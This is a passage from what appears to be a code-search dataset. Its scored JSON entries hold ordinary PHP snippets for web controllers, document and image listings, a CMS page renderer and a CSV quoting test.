'cmasvc', 'cmauserdocument', 'list', $limit=false, $offset=false, $order='document_id', $direction='desc');\n\nforeach ($documentinfo->cma as $document) {\n\t//$shareynarray = array();\n\tif($document->shareyn == 'y' || $document->shareyn == 'Y'){\n\t\t$shareynarray = $document->shareyn;\n\t}\n}\n\n\tif (isset($shareynarray)) {\n\t\n\t\t$base_path = base_path();\n\t\t$o .= '<br />The following is a list of available documents:<br /><br />';\n/* \t\t$o .= '<div style=\"margin-left: 0px; margin-bottom: 3px;\">'.'<b>Document Title</b>'.'</div>';\n\t\t$o .= '<hr class=\"clear-both\">' . PHP_EOL; */\n foreach ($documentinfo->cma as $document) {\n\t\t\tif($document->shareyn == 'y' || $document->shareyn == 'Y'){\n\t\t\t\t$imagepath = $base_path . drupal_get_path('module', 'vcn_cma') . '/images';\n\t\t\t\tif($document->documenttypeid == 2) {$img = '<img style=\"margin-left: 1px; margin-top: 1px;\" src=\"' . $imagepath.'/word.png'. '\" title=\"Word Document\" alt=\"Word Document\" />';}\n\t\t\t\telseif($document->documenttypeid == 3){$img = '<img style=\"margin-left: 1px; margin-top: 1px;\" src=\"' . $imagepath.'/ppt.png'. '\" title=\"PowerPoint Document\" alt=\"PowerPoint Document\" />';}\n\t\t\t\telseif($document->documenttypeid == 4){$img = '<img style=\"margin-left: 1px; margin-top: 1px;\" src=\"' . $imagepath.'/exel.png'. '\" title=\"Excel Document\" alt=\"Excel Document\" />';}\n\t\t\t\telseif($document->documenttypeid == 5){$img = '<img style=\"margin-left: 1px; margin-top: 1px;\" src=\"' . $imagepath.'/img.png'. '\" title=\"Image File\" alt=\"Image File\" />';}\n\t\t\t\telseif($document->documenttypeid == 6){$img = '<img style=\"margin-left: 1px; margin-top: 1px;\" src=\"' . $imagepath.'/txt.png'. '\" title=\"Text File\" alt=\"Text File\" />';}\n\t\t\t\telseif($document->documenttypeid == 7){$img = '<img style=\"margin-left: 1px; margin-top: 1px;\" src=\"' . $imagepath.'/zip.png'. '\" title=\"Zip File\" alt=\"Zip File\" />';} \n\t\t\t\telseif($document->documenttypeid == 8){$img = '<img style=\"margin-left: 1px; margin-top: 1px;\" src=\"' . $imagepath.'/pdf.png'. '\" title=\"PDF File\" alt=\"PDF File\" />';}\n\t\t\t\telse{$img = '<img style=\"margin-left: 1px; margin-top: 1px;\" src=\"' . $imagepath.'/blank.png'. '\" title=\"Other\" alt=\"Other\" />';}\n\n\t\t\t\t$onlydate = explode(' ', $document->documentuploaddate);\n\t\t\t\t$datediv = '<div style=\"margin-left: 747px; margin-top: -12px;\">'.$onlydate[0].'</div>';\n\t\t\t\t$o .= '\t<div id=\"documentid-' . $document->documentid . '\" class=\"cma-documents\">' . PHP_EOL;\n\t\t\t\t$o .= '\t\t<div class=\"cma-documents-inner\">' . PHP_EOL;\n\t\t\t\t$o .= '\t\t\t<div class=\"cma-documents-body\">' . PHP_EOL;\n\n\t\t\t\t$docidforcheck = $document->documentid;\n\t\t\t\t$docidforshareyn = \"'\".$document->shareyn.\"'\";\n\n\t\t\t\t$o .= ' <a style=\"text-decoration: none; margin-top:1px;\" href=\"/careerladder/getfile.php?docid='.$document->documentid.'\"> '.$img.'&nbsp;&nbsp;'.$document->documenttitle.' </a>'.PHP_EOL; //with image \n\n\t\t\t\t$o .= '\t\t\t</div><!-- /cma-notebook-documents-body -->' . PHP_EOL;\n\t\t\t\t//$o .= ' <hr class=\"clear-both\">' . PHP_EOL;\n\t\t\t\t$o .= '\t\t</div><!-- /cma-notebook-certificate-inner -->' . PHP_EOL;\n\t\t\t\t$o .= '\t</div><!-- /cma-notebook-program -->' . PHP_EOL;\n\t\t\t}\n }\n\n\t\t$datein = '<div style=\\\"margin-left: 746px; margin-top: -8px;\\\">'.date(\"Y-m-d\").'</div>';\n }else{\n \t$o .='<br /><br />';\n \t$o .='<div><b>The user do not have any Documents to share</b></div>'; \n }\n return $o; \n}", "title": "" }, { "docid": "6fd0c5e35ffc1ccb3afd6b7255a7a30d", "score": "0.5278036", "text": "public function index()\n {\n $images = Image::where('active','=','yes')->orderBy('id')->with('laptop')->get();\n return view('admin/image/index', compact('images'));\n }", "title": "" }, { "docid": "b837791f35196a6059451f1e29a90546", "score": "0.52760446", "text": "public function getDetail($detail){ // suported $detail: \"title\", \"description\", \"image\"\n\t$options = ['ogp', 'twitter', 'meta'];\n\tforeach ($options as $key => $option) {\n\t\tif (isset($this->data['ogp'][$detail])) {\n\t\t\treturn $this->data['ogp'][$detail];\n\t\t}\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "08095b069fbf3bbff020b3ba4a47f890", "score": "0.5271531", "text": "public function showcar($img){\n \n $baseUrl = new Zend_View_Helper_BaseUrl();\n $baseUrl_path = $baseUrl->baseUrl() . \"/img/cars/\";\n if ($img != \"\"){\n \n return $baseUrl_path . $img;\n }else{\n return $baseUrl_path . \"car-silhouette.png\";\n }\n \n\n \n }", "title": "" }, { "docid": "a7db9406b99d0e28f994d055c0893438", "score": "0.5270951", "text": "protected function getPicture()\n {\n\n }", "title": "" }, { "docid": "1f3d0e31e811207083b7706e5fbb531e", "score": "0.5265747", "text": "public function getDetailAction(){\r\n \r\n $file = file_get_contents(__DIR__ . '/../Resources/clientConf/TInventaireTronconsErdf/detail.yml');\r\n $out = Yaml::parse($file);\r\n \r\n return new JsonResponse($out);\r\n }", "title": "" }, { "docid": "71bb1f53af7b5fbbcbdc91f24f14f90c", "score": "0.52644086", "text": "public function downloadPDF (){\n //$pdf = \\PDF::loadView('Consult_products',compact('query'));\n $pdf = \\PDF::loadView('Consult_products');\n return $pdf->download('Datos.pdf');\n }", "title": "" }, { "docid": "f82c76121819b96aa625ba2e9aa3b705", "score": "0.5264256", "text": "public function index()\n {\n //\n $categories=ResourceCategory::paginate(10);\n $thumbnailPath = $this->thumbnailPath;\n $resourcecenterImages = ResourceCenterImage::paginate(10);\n return view('resourcecenter-image.index', compact('resourcecenterImages',\n 'thumbnailPath','categories'));\n }", "title": "" }, { "docid": "4780d0fe8ad36b7fa830de3c2d6cb7e0", "score": "0.52632886", "text": "function documents($param1 = '') {\n if ($this->session->userdata('parent_login') != 1)\n redirect(base_url(), 'refresh');\n\n $id = $this->uri->segment(3);\n $this->load->model('S3_model');\n $page_data = $this->get_page_data_var();\n $page_data['files'] = $this->S3_model->get_all_files();\n\n $instance = $this->Crud_model->get_instance_name();\n $student_name = $this->Student_model->get_student_name($param1);\n $page_data['student_name'] = $student_name;\n $page_data['subfiles'] = $this->S3_model->get_file($page_data['files'][1], $instance . '/student/' . $param1 . '/');\n $page_data['instance'] = $instance . '/student/' . $param1 . '/';\n $page_data['student_id'] = $param1;\n $page_data['page_title'] = get_phrase('student_documents');\n $page_data['page_name'] = 'student_documents';\n $this->load->view('backend/index', $page_data); \n \n }", "title": "" }, { "docid": "a46c0d5fe66493df1a60ff2b0341391b", "score": "0.5262961", "text": "public function index()\n {\n $items = PhotoGallary::all();\n $siteconf = SiteConfig::first();\n return view('admin.photoGallary.index',compact('items','siteconf'));\n }", "title": "" }, { "docid": "b2fa6e16db1c1c1deebd65a2aefb1d01", "score": "0.5260913", "text": "function dsp_single_office_info()\n {\n $VIEW_DATA['arr_single_office_info'] = $this->model->qry_single_office_info();\n $this->view->render('dsp_single_office_info',$VIEW_DATA);\n }", "title": "" }, { "docid": "210e41fe78792f23a27161e8da605fc3", "score": "0.52588606", "text": "public function getPhoto($id);", "title": "" }, { "docid": "0ce72502e27a2fe4d6decb09f9001b50", "score": "0.52555287", "text": "public function showPerfil(){\n\n $idUsuario = Auth::id();\n $OTasignadas=ot_orden_trabajo::where('OT_USER_ENCARGADO',$idUsuario)->paginate(5);\n $OTcreadas=ot_orden_trabajo::where('OT_USER_ID_CREADOR',$idUsuario)->paginate(5);\n // $buscarReporte=rep_reporte::where('REP_USER_ID', $idUsuario)->get();\n // $imagenes=ft_fotos::all();\n $fotoPerfil=user::where('id',$idUsuario)->get();\n // dd($fotoPerfil);\n // $ordenDeTrabajo = DB::table('OT_ORDEN_TRABAJO')->get();\n\n return view('PERFIL.inicioPerfil', compact('OTasignadas','OTcreadas','fotoPerfil' ));\n }", "title": "" }, { "docid": "9f922ccbd6f92b5725b6aa37dfce35d9", "score": "0.52552885", "text": "public function viewdetailsAction()\n {\n $productId = $this->_getParam('product_id');\n $product = $this->_model->setId($productId);\n $this->view->product = $product->fetch(); \n \n }", "title": "" }, { "docid": "122dcf62f0c12df71608e32c82401c14", "score": "0.5252964", "text": "public function index()\n {\n $pic= pic::all()->sortByDesc(\"id\");\n return view('admin.admingallery',compact('pic'));\n }", "title": "" }, { "docid": "9a49bd5b0fa94e62c346ae97c798d156", "score": "0.524591", "text": "public function index()\n {\n $files=Doc_gobierno::all();\n return view('admin.files.index',compact('files')); \n }", "title": "" }, { "docid": "cbf496a3a51d5c669f70ad7cb0df1522", "score": "0.5243298", "text": "function show ($iIdP, $fAllow = 1) {\n\t\t//echo \"ciao\" . $this->id_sito;\n\t\t//echo \"id_sito: \" . $this->oUt->id;\n \t\t$txt = new cText;\n \t\t$img = new cImage;\n \t\t$att = new cAttach;\n \t\t$txt->set_id_sito ($this->id_sito);\n \t\t$img->set_id_sito ($this->id_sito);\n \t\t$att->set_id_sito ($this->id_sito);\n\n \t\tswitch ($this->viewmode) {\n\n \t\tcase \"normal\":\n\t\t\t/* ricava l'id del contenuto */\n\t\t\t$iIdC = $this->read_id_content ($iIdP);\n\n\t\t\tif (!$iIdC == 0) {\n\n\t\t\t\t/* incrocia la tabella 'tbl_rel_pag_cont' e entrambe le tabelle\n 'tbl_contenuto' e 'tbl_tipocontenuto' per ottenere la pagina completa */\n\t\t\t\t$sSql = \"select distinct idC,tbl_cont.id_sito,tbl_cont.idtipo,\"\n\t\t\t\t .\"tbl_cont.idcont_tab,tbl_cont.nome_tabella \"\n\t\t\t\t .\"from tbl_rel_pag_cont, \";\n\n\t\t\t\t$sSql.= \"(select tbl_contenuto.id_sito,tbl_contenuto.id, \"\n\t\t\t\t .\"tbl_contenuto.idtipo,tbl_contenuto.idcont_tab, \"\n\t\t\t\t .\"tbl_tipocontenuto.descrizione,nome_tabella \"\n\t\t\t\t .\"from tbl_contenuto, tbl_tipocontenuto \"\n\t\t\t\t .\"where tbl_contenuto.idtipo=tbl_tipocontenuto.id) as tbl_cont \"; \n\n\t\t\t\t$sSql.= \"where tbl_cont.id_sito='\" . $this->id_sito\n\t\t\t\t .\"' and tbl_cont.id=\" . $iIdC . \" and idC=\" . $iIdC\n\t\t\t\t .\" order by tbl_cont.idtipo, tbl_cont.idcont_tab;\";\n\t\t\t\t\n\t\t\t\t$risultato = mysql_query($sSql);\n\n\t\t\t\tif (!$risultato) {\n\t\t\t\t\techo \"Nessun contenuto\";\n\t\t\t\t} else {\n\t\t\t\t\t$iC=0;\n\n\t\t\t\t\twhile ($row = mysql_fetch_assoc ($risultato)) {\n\t\t\t\t\t\tswitch ($row[\"idtipo\"]) {\n\t\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\t\t$txt->id = $row[\"idcont_tab\"];\n\t\t\t\t\t\t\t\t$testo = $txt->read ();\n\t\t\t\t\t\t\t\tif ($this->bComment_enable) {\n\t\t\t\t\t\t\t\t\t$aComments=$txt->read_comments ();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\t\t$img->id = $row[\"idcont_tab\"];\n\t\t\t\t\t\t\t\t$immagini = $img->read ();\n\t\t\t\t\t\t\t\t$txt->body = $this->format_image ($txt->body, $img->id, $img->title, $img->subtitle, $img->path);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 3:\n\t\t\t\t\t\t\t\t$att->id = $row[\"idcont_tab\"];\n\t\t\t\t\t\t\t\t$allegati = $att->read();\n\t\t\t\t\t\t\t\t$txt->body = $this->format_attach($txt->body, $att->id, $att->title, $att->subtitle, $att->path);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\n\t\t\t\t\t\t} //switch\n\t\t\t\t\t} // while\n\n\t\t\t\t\t$txt->body = $this->tag_text_filter ($txt->body);\n\t\t\t\t\t$this->show_content ($txt->title, $txt->subtitle, $txt->body, $txt->sign, $txt->id, $aComments);\n\t\t\t\t\tmysql_free_result ($risultato);\n\t\t\t\t} // else di if (!$risultato)\n\t\t\t} else { // if (!$iIdC)\n\t\t\t\t$aPagina = $this->read_page($iIdP);\n\n\t\t\t\t/*test per aggiungere o togliere barra dall'address del file*/\n\t\t\t\tif(substr ($aPagina[\"page_address\"], 0, 1) != \"/\") {\n\t\t\t\t\t$aPagina[\"page_address\"] = \"/\".$aPagina[\"page_address\"];\n\t\t\t\t}\n\n\t\t\t\tif ($iIdP != -1) {\n\t\t\t\t\tif ($aPagina[\"classname\"] == \"\") {\n\t\t\t\t\t require_once (SRV_ROOT . $aPagina[\"page_address\"]);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($aPagina) {\n\t\t\t\t\t\t\tif ($this->manage) {\n\t\t\t\t\t\t\t\trequire_once (SRV_ROOT . $aPagina[\"page_address\"]);\n\t\t\t\t\t\t\t\t$objClass = new $aPagina[\"classname\"];\n\t\t\t\t\t\t\t\t$objClass->set_id_sito ($this->let_id_sito ());\n\t\t\t\t\t\t\t\t$objClass->set_user ($this->let_id_sito (), $this->oUt);\n\t\t\t\t\t\t\t\techo \"<div id='contenuto_body'>\";\n\t\t\t\t\t\t\t\t$objClass->show_manage ($this->opt);\n\t\t\t\t\t\t\t\techo \"</div>\";\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\trequire_once (SRV_ROOT . $aPagina[\"page_address\"]);\n\t\t\t\t\t\t\t\t$objClass = new $aPagina[\"classname\"];\n\t\t\t\t\t\t\t\t$objClass->set_id_sito ($this->let_id_sito ());\n\t\t\t\t\t\t\t\t$objClass->set_user ($this->let_id_sito (),$this->oUt);\n\t\t\t\t\t\t\t\techo \"<div id='contenuto_body'>\";\n\t\t\t\t\t\t\t\t$objClass->show($this->opt);\n\t\t\t\t\t\t\t\techo \"</div>\";\n\t\t\t\t\t\t\t} // else di if ($this->manage)\n\t\t\t\t\t\t} // if ($aPagina)\n\t\t\t\t\t} // else di if ($aPagina[\"classname\"])\n\t\t\t\t} // if ($iIdP)\n\t\t\t} // else di if (!$iIdC)\n\t\t\tbreak;\n\n\t\tcase \"blog\":\n\t\t\t/*return array with list content*/\t\t\t\n\t\t\t$iIdP = $this->read_content_list ($this->blog_parent_menu);\n\n\t\t\tforeach ($iIdP as $value) {\n\t\t\t\t\n\t\t\t\t$iIdC = $this->read_id_content ($value);\n\n\t\t\t\t/* incrocia la tabella 'tbl_rel_pag_cont' e entrambe le tabelle\n\t\t\t\t'tbl_contenuto' e 'tbl_tipocontenuto' per ottenere la pagina completa */\n\t\t\t\t$sSql = \"select distinct idC,tbl_cont.id_sito,tbl_cont.idtipo,\"\n\t\t\t\t .\"tbl_cont.idcont_tab,tbl_cont.nome_tabella \"\n\t\t\t\t .\"from tbl_rel_pag_cont, \";\n\n\t\t\t\t$sSql.= \"(select tbl_contenuto.id_sito,tbl_contenuto.id, \"\n\t\t\t\t .\"tbl_contenuto.idtipo,tbl_contenuto.idcont_tab, \"\n\t\t\t\t .\"tbl_tipocontenuto.descrizione,nome_tabella \"\n\t\t\t\t .\"from tbl_contenuto, tbl_tipocontenuto \"\n\t\t\t\t .\"where tbl_contenuto.idtipo=tbl_tipocontenuto.id) as tbl_cont \";\n \n\t\t\t\t$sSql.= \"where tbl_cont.id_sito='\" . $this->id_sito\n\t\t\t .\"' and tbl_cont.id=\" . $iIdC . \" and idC=\" . $iIdC\n\t\t\t\t . \" order by tbl_cont.idtipo, tbl_cont.idcont_tab;\";\n\t\t\t\t\n\t\t\t\t$risultato = mysql_query ($sSql);\n\t\t\t\tif (!$risultato) {\n\t\t\t\t\techo \"Nessun contenuto\";\n\t\t\t\t} else {\n\t\t\t\t\t$iC = 0;\n\n\t\t\t\t\twhile ($row = mysql_fetch_assoc ($risultato)) {\n\t\t\t\t\t\tswitch($row[\"idtipo\"]) {\n\t\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\t\t$txt->id = $row[\"idcont_tab\"];\n\t\t\t\t\t\t\t\t$testo = $txt->read ();\n\t\t\t\t\t\t\t\tif ($this->bComment_enable) {\n\t\t\t\t\t\t\t\t\t$aComments = $txt->read_comments ();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\t\t$img->id = $row[\"idcont_tab\"];\n\t\t\t\t\t\t\t\t$immagini = $img->read ();\n\t\t\t\t\t\t\t\t$txt->body = $this->format_image($txt->body, $img->id, $img->title, $img->subtitle, $img->path);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 3:\n\t\t\t\t\t\t\t\t$att->id = $row[\"idcont_tab\"];\n\t\t\t\t\t\t\t\t$allegati = $att->read ();\n\t\t\t\t\t\t\t\t$txt->body = $this->format_attach ($txt->body, $att->id, $att->title, $att->subtitle, $att->path);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tbreak;\t\t\t\t\t\n\t\t\t\t\t\t} // switch\n\t\t\t\t\t} // while\n\n\t\t\t\t\t$txt->body = $this->tag_text_filter ($txt->body);\n\t\t\t\t\t$this->show_content ($txt->title, $txt->subtitle, $txt->body, $txt->sign, $txt->id, $aComments);\n\t\t\t\t\tmysql_free_result($risultato);\n\t\t\t\t} // else di if !$risultato\n\t\t\t} // foreach $iIdP\n\t\t\tbreak;\n\t\t} // switch $this->viewmode\n\t}", "title": "" }, { "docid": "5a54801321e516c9e991c4128128eaba", "score": "0.5241873", "text": "public function index_get($empresa,$cantidad,$limit)\n {\n //echo \"--->\".$limit;\n if (!empty($empresa)) {\n $this->db->select(\"pi.*\");\n $this->db->from(self::producto . ' p');\n $this->db->join(self::producto_img . ' pi', ' on p.id_entidad = pi.id_producto');\n $this->db->where('p.Empresa', $empresa);\n $this->db->limit($cantidad,$limit);\n $data = $this->db->get()->result();\n //var_dump($this->db->queries[0]);\n //die;\n\n\n foreach ($data as $key => $producto) {\n $data[$key]->producto_img_blob = base64_encode($data[$key]->producto_img_blob);\n //unset($data[$key]->producto_img_blob);\n }\n }\n\n $this->response($data, REST_Controller::HTTP_OK);\n }", "title": "" }, { "docid": "265b0b30488fee74576da8bac2ac1af5", "score": "0.52409565", "text": "public function indexAction()\n {\n// $a = new Hotel();\n// $a->setImage('aa.jpg');\n// echo $a->getAbsolutePath();\n\n\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('CtcAppBundle:Hotel\\Hotel')->findAll();\n\n return $this->render('CtcAppBundle:Admin/Hotel/Hotel:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "title": "" }, { "docid": "8c5bdfb2457536f7aebc23ef74fc27f2", "score": "0.52361923", "text": "public function sbhanger_pdf () {\n\n\t\t$response = $this->app_model->upload_image ();\n\t\t\n\t\tif (is_array($response)) {\n\t\t\t$data['pdf_string'] = $this->app_model->sbhanger_preview ($response);\n\t\t\t$output = $this->load->view ('templates/sbhanger/pdf', $data, true);\n\t\t\tif (is_string($output)) {\n\t\t\t\t$this->output->set_content_type(\"application/json\");\n\t\t\t\t$this->output->set_output(json_encode(array('status'=>true, 'output'=>$output)));\n\t\t\t} else {\n\t\t\t\t$this->output->set_content_type(\"application/json\");\n\t\t\t\t$this->output->set_output(json_encode(array('status'=>false, 'error'=>$output)));\n\t\t\t}\n\t\t} else {\n\t\t\t$this->output->set_content_type(\"application/json\");\n\t\t\t$this->output->set_output(json_encode(array('status'=>false, 'error'=>$response )));\n\t\t}\n\t}", "title": "" }, { "docid": "f90f48d98d8aa221c669ec220c073499", "score": "0.5235327", "text": "function fn_exim_get_detailed_image_url($product_id, $object_type, $pair_type, $lang_code)\n{\n $image_pair = fn_get_image_pairs($product_id, $object_type, $pair_type, false, true, $lang_code);\n $protocol = fn_get_storefront_protocol();\n\n return !empty($image_pair['detailed'][$protocol . '_image_path']) ? $image_pair['detailed'][$protocol . '_image_path'] : '';\n}", "title": "" }, { "docid": "d8a96c0819c328b520f01484f0a129de", "score": "0.52344", "text": "public function show($id)\n {\n //\n\n $photos=[];\n $pages=$this->getPage($id);\n $photo_name=$pages->img;\n $photo_name=json_decode($photo_name);\n array_push($photos, $photo_name);\n\n //dd($photos);\n\n $epifs=$this->getEpifs();\n $candles=$this->getCandles();\n $events=$this->getEvents();\n\t$roles = $this->getRoles();\n\t//dd($events);\n\n return view('test')->with(array( 'pages'=>$pages,'roles'=>$roles, 'photos'=>$photos, 'epifs'=>$epifs, 'candles'=>$candles, 'events'=>$events));\n }", "title": "" }, { "docid": "dde8b324975b1a5c7a312083348c035c", "score": "0.52298486", "text": "function detail() {\n\t\t\t\t// DARI CONTROLLER\n\t\t\t\t// MENANGKAP NILAI NIK\n\t\t\t\t$nip\t\t\t= $_GET['nip'];\n\n\t\t\t\t$data\t\t \t= $this->sistem->dataHome();\n\t\t\t\t$data_pegawai \t= $this->mutasi->dataDetail($nip);\n\t\t\t\n\t\t\t\tinclude \"view/dashboard.php\";\n\t\t\t}", "title": "" }, { "docid": "b224c8e298166ca85ea850d5b1a88916", "score": "0.52285784", "text": "function doc_pic ($a,$showdetails=false,$force=false) {\r\n\tGLOBAL $HTTP_SERVER_VARS;\r\n\t\t$SRC=$a[SRC];\r\n\t\t$path=$a[path];\r\n\t\t$HREF=$a[HREF];\r\n\t\t$BORDER=$a[BORDER];\r\n\t\t$ALIGN=$a[ALIGN];\r\n\t\t$HVSPACE=$a[HVSPACE];\r\n\t\t$ALT=$a[ALT];\r\n\t\t$WIDTH=$a[WIDTH];\r\n\t\t$HEIGHT=$a[HEIGHT];\r\n\r\n\t\tif (''==$SRC) {\r\n\t\t\tif ($showdetails) {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn(\"Kein Bild\");\r\n\t\t\t} else {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn('');\r\n\t\t\t}\r\n\t\t}\r\n\t if (''==$path) {\r\n\t \t$path=$SRC;\r\n\t }\r\n\t if (ereg(\"^/\",$SRC)) {\r\n\t \t## if unset, assume DOCUMENT_ROOT to be the path\r\n\t \tif (!$this->layoutpath) {\r\n\t \t\t$this->layoutpath = $HTTP_SERVER_VARS[\"DOCUMENT_ROOT\"];\r\n\t \t}\r\n\t\t\t$SRC= $this->layouturl . $SRC;\r\n\t\t\t$path=$this->layoutpath . $path;\r\n\t\t}\r\n\t if (file_exists($path)) {\r\n\t\t\t$WH=GetImageSize($path);\r\n\t\t} else {\r\n\t\t\t$this->defval($force, $this->picture_def['force']);\r\n\t\t\tif (!$force) {\r\n\t\t\t\t$this->_debug2('doc_pic not found');\r\n\t\t\t\treturn(\"Bild: '$path' nicht vorhanden!\");\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($WIDTH>0) {\r\n\t\t\t$WH[0]=$WIDTH;\r\n\t\t}\r\n\t\tif ($HEIGHT>0) {\r\n\t\t\t$WH[1]=$HEIGHT;\r\n\t\t}\r\n\t\t$this->defval($BORDER, $this->picture_def['BORDER']);\r\n\t\t$this->defval($ALIGN, $this->picture_def['ALIGN']);\r\n\t\t$this->defval($HVSPACE, $this->picture_def['HVSPACE']);\r\n\t\t$this->defval($ALT, $this->picture_def['ALT']);\r\n\r\n\t\t$r.=($BORDER!='') ? sprintf($this->picture['BORDER'],$BORDER) : '';\r\n\t\t$r.=o_iftrue($ALIGN, $this->picture['ALIGN']);\r\n\t\tif ($HVSPACE) {\r\n\t\t\t$r.=sprintf($this->picture['HVSPACE'],$HVSPACE,$HVSPACE);\r\n\t\t}\r\n\t\t$r.=sprintf($this->picture['ALT'],HTMLSpecialChars($ALT));\r\n\t\t$r.=sprintf($this->picture['WIDTH'],$WH[0]);\r\n\t\t$r.=sprintf($this->picture['HEIGHT'],$WH[1]);\r\n\r\n\t\t$out=sprintf($this->picture['pictag'],$SRC,$r);\r\n\r\n\t\tif ($HREF) {\r\n\t\t\t$out=$this->doc_anker('NULL',$HREF,$out);\r\n\t\t}\r\n\r\n\t\tif ($showdetails) {\r\n\t\t\t$name=ereg_Replace(\"^.*/\",\"\",$SRC);\r\n\t\t\t$out=\"<SMALL>'<B>$name</B>'&nbsp;\".\r\n\t\t\t \"$WH[0]x$WH[1]&nbsp;Pixel</SMALL>\\n$out\";\r\n\t\t}\r\n\r\n\t\t$this->_debug('doc_pic',$out);\r\n\t\treturn($out);\r\n\t}", "title": "" } ]
6f17ce11f26ce16f540595ec739cf200
end process() Processes this test, when the token encountered is a doublequoted string.
[ { "docid": "54c631965d85d21acef5ca4cefc88f83", "score": "0.42819893", "text": "protected function processDoubleQuotedString (File $phpcsFile, $stackPtr, $dblQtString)\n\t{\n\t\t$variableFound = FALSE;\n\t\t$strTokens = token_get_all('<?php '.$dblQtString);\n\t\t$strPtr = 1; // skip php opening tag added by ourselves\n\t\t$requireDblQuotes = FALSE;\n\t\twhile ($strPtr < count($strTokens)) {\n\t\t\t$strToken = $strTokens[$strPtr];\n\t\t\tif (is_array($strToken)) {\n\t\t\t\tif (in_array($strToken[0], array(T_DOLLAR_OPEN_CURLY_BRACES, T_CURLY_OPEN))) {\n\t\t\t\t\t$strPtr++;\n\t\t\t\t\ttry {\n\t\t\t\t\t\t$this->_parseVariable($strTokens, $strPtr);\n\t\t\t\t\t} catch (Exception $err) {\n\t\t\t\t\t\t$error = 'There is no variable, object nor array between curly braces. Please use the escape char for $ or {.';\n\t\t\t\t\t\t$phpcsFile->addError($error, $stackPtr, 1987234);\n\t\t\t\t\t}\n\t\t\t\t\t$variableFound = TRUE;\n\t\t\t\t\tif ('}' !== $strTokens[$strPtr]) {\n\t\t\t\t\t\t$error = 'There is no matching closing curly brace.';\n\t\t\t\t\t\t$phpcsFile->addError($error, $stackPtr, 987234);\n\t\t\t\t\t}\n\t\t\t\t\t// don't move forward, since it will be done in the main loop\n\t\t\t\t\t// $strPtr++;\n\t\t\t\t} else if (T_VARIABLE === $strToken[0]) {\n\t\t\t\t\t$variableFound = TRUE;\n\t\t\t\t\t$error = \"Variable {$strToken[1]} in double-quoted strings should be enclosed with curly braces. Please consider {{$strToken[1]}}\";\n\t\t\t\t\t$phpcsFile->addError($error, $stackPtr, 29087234);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$strPtr++;\n\t\t}\n\t\treturn $variableFound;\n\t}", "title": "" } ]
[ { "docid": "b4a22ad312b2c7c21b7f531098686ddb", "score": "0.5223261", "text": "#[@test]\n public function separatorInFieldIsQuoted() {\n $this->generator->writeRecord(array('A|B', 'C'));\n $this->stream->seek(0);\n $this->assertEquals('\"A|B\"|C', $this->stream->readLine());\n }", "title": "" }, { "docid": "6bb132a04671302f9e3b3dbd8ad0b173", "score": "0.5194388", "text": "#[@test]\n public function quoteInFieldIsEscaped() {\n $this->generator->writeRecord(array('A\"B', 'C'));\n $this->stream->seek(0);\n $this->assertEquals('\"A\"\"B\"|C', $this->stream->readLine());\n }", "title": "" }, { "docid": "5ea3d16faf66c92af12607c08e1e9d10", "score": "0.51260555", "text": "function yy_r53(){ $this->_retvalue = \"'\".str_replace('\\\"','\"',$this->yystack[$this->yyidx + -1]->minor).\"'\"; }", "title": "" }, { "docid": "a590a38b6b4041b7cf8173012d685b7c", "score": "0.51132596", "text": "private function handleTxt(): void\n {\n if ($this->string->isNot(Tokens::DOUBLE_QUOTES)) {\n return;\n }\n\n $this->append();\n\n while ($this->string->isNot(Tokens::DOUBLE_QUOTES)) {\n if (!$this->string->valid()) {\n throw new ParseException('Unbalanced double quotation marks. End of file reached.');\n }\n\n //If escape character\n if ($this->string->is(Tokens::BACKSLASH)) {\n $this->append();\n }\n\n if ($this->string->is(Tokens::LINE_FEED)) {\n throw new ParseException('Line Feed found within double quotation marks context.', $this->string);\n }\n\n $this->append();\n }\n }", "title": "" }, { "docid": "c2e926860b94e24a9d8bc645997c46da", "score": "0.5067147", "text": "function yy_r34(){ $this->_retvalue = '\\''.$this->yystack[$this->yyidx + 0]->minor.'\\''; }", "title": "" }, { "docid": "4fecf179734966b6e61784815ae75083", "score": "0.5065617", "text": "protected function postProcessQuotedValue($value)\n\t{\n\t\tif ((strstr($value, \"\\n\") === false) && (strstr($value, \"\\r\") === false))\n\t\t{\n\t\t\treturn $value;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Mark this string as \"C-style Escaped\".\n\t\t\t// See http://www.postgresql.org/docs/9.2/interactive/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS-ESCAPE\n\t\t\t$temp = 'E' . $value;\n\t\t\t// Escape special characters. Note that the escaped character looks like \\\\n (two slashes).\n\t\t\t// Single slashes must also be escaped.\n\t\t\t$temp = str_replace(\"\\\\\", '\\\\\\\\', $temp);\n\t\t\t$temp = str_replace(\"\\n\", '\\\\n', $temp);\n\t\t\t$temp = str_replace(\"\\r\", '\\\\r', $temp);\n\t\t\t$temp = str_replace(\"\\f\", '\\\\f', $temp);\n\t\t\t$temp = str_replace(\"\\t\", '\\\\t', $temp);\n\n\t\t\treturn $temp;\n\t\t}\n\t}", "title": "" }, { "docid": "291eb15ccb480418f3054909c58e8e00", "score": "0.5041248", "text": "static public function _hasEndQuote($token)\r\n\t{\r\n\t\t$len = strlen($token);\r\n\t\tif ($len == 0)\r\n\t\t\treturn false;\r\n\t\telseif ($len == 1 and $token == '\"')\r\n\t\t\treturn 